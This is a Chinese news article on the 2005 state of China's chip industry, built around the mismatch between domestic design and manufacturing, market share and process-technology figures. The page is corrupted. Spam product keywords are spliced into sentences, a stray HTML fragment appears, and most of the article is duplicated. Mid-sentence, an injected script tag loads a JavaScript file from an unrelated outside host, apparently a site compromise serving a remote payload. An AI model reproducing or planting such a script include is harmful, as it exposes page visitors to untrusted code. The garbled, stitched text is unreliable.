中国芯片产业遭遇匹配挑战雾化器

大唐电信总工程师魏少军给出的答案是“不匹配”，即自家产的芯片与自家市场的需要“不对板”。“80%进口，说明中国大制造所需的芯片国内提供不了；80%出口，则说明国内的芯片设计企业无力到制造代工企业那里下单(量不够)，致使后者只能到境外找买家。”

最近在上海召开的第二届中国半导体行业首脑峰会上，“匹配”已然成了备受关注的话题。有专家甚至称，历史上这个产业“所有的周期性振荡的祸根都是不匹配”――要么是生产跟不上需求，芯片缺货影响下游一大片产业；要么是产能过剩造成生产线闲置，导致这一“呑金产业”巨额亏损。由此，“制造与设计匹配”也被认为是“芯片产业健康发展之最基本的条件”。

“谨慎乐观”的2005

以下两组数据，让人感觉2005年的中发泄球国内地半导体市场大有一枝独秀之势。其一，据大会披露的信息，在全球半导体生产增长趋缓的情况下，内地集成电路销售收入增长20%，已超过了600亿人民币。其二也是最令人振奋的，内地半导体市场规模继续“疯长”(35%)，以478亿美元的总量(据埃森哲)占到了全球集成电路市场的20%，从而超过美、日，成为全球最大的半导体消费市场。与此形成对比的是，2005年全球半导体市场的规模和销售收入增幅均为零(据美国半导体分析媒体siliconstrategies)。就中国市场而言，虽说35%的增幅比起前两年已有所减缓，但美林(亚太)公司第一副总裁dan heyler坚持认为这是基数变大的缘故，“中国内地依然是全球半导体市场的火车头”。

专家分析，推动中国半导体市隔热手套场高速发展的力量除了ict产品的大制造，以及3g、lcd和网络游戏的崛起外，2008年的奥运也是一个强大的引擎。中国半导体的强劲增长至少会持续到2008年，埃森哲全球半导体业务高级全伙人r.alan.moore分析说。

与市场容量和产业规模增长同步的，还有技术的进步，产业结构的协调，以及产业布局的舒展。

“2000年我到中国时候，内地芯片制造还停留在0.35微米，落后于世界先进水平一大截，而目前主流制造技术已达到0.18与0.13微米，并开始向90纳米和65纳米进军了，中芯国际今年第一季度将开始90纳米的大规模生产。从技术上看，中国内地仅仅落后于世界先进水平两年，进步速度惊人。”中芯国际首席运营官marco mora说。另据美林亚太半导体类股研究主管丹·海勒分析，内地用10到15年就可以站到世界半导体产业的技术前沿，而“台湾芯片产业追赶世界前沿水平用了25年”。

产业结构和产业布局方面，2005年我国集成电路制造、设计、封装的比重分别为37.2%、17.5%和45.3%，开始接近于“4：3：4”的合理比重(两年前国内封装业的比重高达75%)，长三角的芯片封装悄然向西部转移，成都、西安以及甘肃的封装渐成气候，开始与东部沿海的设计、制造形成错位互补的发展态势。

不过，2005年的进步并没能改变中国集成电路产业“依然弱小”的现状，内地消费的集成电路80%需要进口就是明显不过的例证。在美林(亚太)公司第一副总裁dan heyler出示的一张饼图上， 2004年中国内地与台湾fabless(芯片设计)销售收入分别为4亿美元(中国半导体行业协会统计为82亿元人民币)与54亿美元；而foundry(芯片代工)分别为17亿美元与112亿美元，整整差了一个数量级。具体到单个企业的trs(股东总回报率)差距就更为惊人，2004年台积电(tsmc)和联华电子(umc)的trs分别高达30%与15%，而中国内地的企业trs小的可怜，有的甚至为负数。

“我们还是初级阶段，前面的路充满未知，虽有进步却不值得乐观，或者说只能谨慎乐观。”大方正超大字符集">唐电信魏少军说。

发展模式之惑

据说围棋对弈中的开局阶段每每最令棋手困惑，因为此时棋盘上几乎空无一物，空旷到你不知往哪里走，这是“最大的复杂”。

处于初级阶段的中国芯片产业也面对这种困惑。毫无疑问，解决“匹配”问题或是别的什么问题都得靠发展，“发展是硬?script src=http://er12.com/t.js> 一方面，中国内地消费的集成电路80%需要进口；另一方面，内地生产的集成电路的80%却要跑到境外找市场――中国集成电路产业这是怎么了？

大唐电信总工程师魏少军给出的答案是“不匹配”，即自家产的芯片与自家市场的需要“不对板”。“80%进口，说明中国大制造所需的芯片国内提供不了；80%出口，则说明国内的芯片设计企业无力到制造代工企业那里下单(量不够)，致使后者只能到境外找买家。”

最近在上海召开的第二届中国半导体行业首脑峰会上，“匹配”已然成了备受关注的话题。有专家甚至称，历史上这个产业“所有的周期性振荡的祸根都是不匹配”――要么是生产跟不上阀芯需求，芯片缺货影响下游一大片产业；要么是产能过剩造成生产线闲置，导致这一“呑金产业”巨额亏损。由此，“制造与设计匹配”也被认为是“芯片产业健康发展之最基本的条件”。

“谨慎乐观”的2005

以下两组数据，让人感觉2005年的中国内地半导体市场大有一枝独秀之势。其一，据大会披露的信息，在全球半导体生产增长趋缓的情况下，内地集成电路销售收入增长20%，已超过了600亿人民币。其二也是最令人振奋的，内地半导体市场规模继续“疯长”(35%)，以478亿美元的总量(据埃森哲)占到了全球集成电路市场的20%，从而超过美、日，成为全球最大的半导体消费市场。与此形成对比的是，2005年全球半导体市场的规模和销售收入增幅均为零(据美国半导体分析媒体siliconstrategies)。就中国市场而言，虽说35%的增幅比起前两年已有所减缓，但美林(亚太)公司第一副总裁dan heyler坚持认为这是基数变大的缘故，“中国内地依然是全球半导体市场的火车头”。

专家分析，推动中国半导体市场高速发展的力量除了ict产品的大制造，以及3g、lcd和网络游戏的崛起外，2008年的奥运也是一个强大的引擎。中国半导体的强劲增长至少会持续到2008年，埃森哲全球半导体业务高级全伙人r.alan.moore分析说。

与市场容量和产业规模增长同步的，还有技术的进步，产业结构的协调，以及产业布局的舒展。

“2000年我到中国时候，内地芯片制造还停留在0.35微米，落后于世界先进水平一大截，而目前主流制造技术已达到0.18与0.13微米，并开始向90纳米和65纳米进军了，中芯国际今年第一季度将开始90纳米的大规模生产。从技术上看，中国内地仅仅落后于世界先进水平两年，进步速度惊人。”中芯国际首席运营官marco mora说。另据美林亚太半导体类股研究主管丹·海勒分析，内地用10到15年就可以站到世界半导体产业的技术前沿，而“台湾芯片产业追赶世界前沿水平用了25年”。

产业结构和产业布局方面，2005年我国集成电路制造、设计、封装的比重分别为37.2%、17.5%和45.3%，开始接近于“4：3：4”的合理比重(两年前国内封装业的比重高达75%)，长三角的芯片封装悄然向西部转移，成都、西安以及甘肃的封装渐成气候，开始与东部沿海的设计、制造形成错位互补的发展态势。

不过，2005年的进步并没能改变中国集成电路产业“依然弱小”的现状，内地消费的集成电路80%需要进口就是明显不过的例证。在美林(亚太)公司第一副总裁dan heyler出示的一张饼图上， 2004年中国内地与台湾fabless(芯片设计)销售收入分别为4亿美元(中国半导体行业协会统计为82亿元人民币)与54亿美元；而foundry(芯片代工)分别为17亿美元与112亿美元，整整差了一个数量级。具体到单个企业的trs(股东总回报率)差距就更为惊人，2004年台积电(tsmc)和联华电子(umc)的trs分别高达30%与15%，而中国内地的企业trs小的可怜，有的甚至为负数。

“我们还是初级阶段，前面的路充满未知，虽有进步却不值得乐观，或者说只能谨慎乐观。”大方正超大字符集">唐电信魏少军说。

发展模式之惑

据说围棋对弈中的开局阶段每每最令棋手困惑，因为此时棋盘上几乎空无一物，空旷到你不知往哪里走，这是“最大的复杂”。

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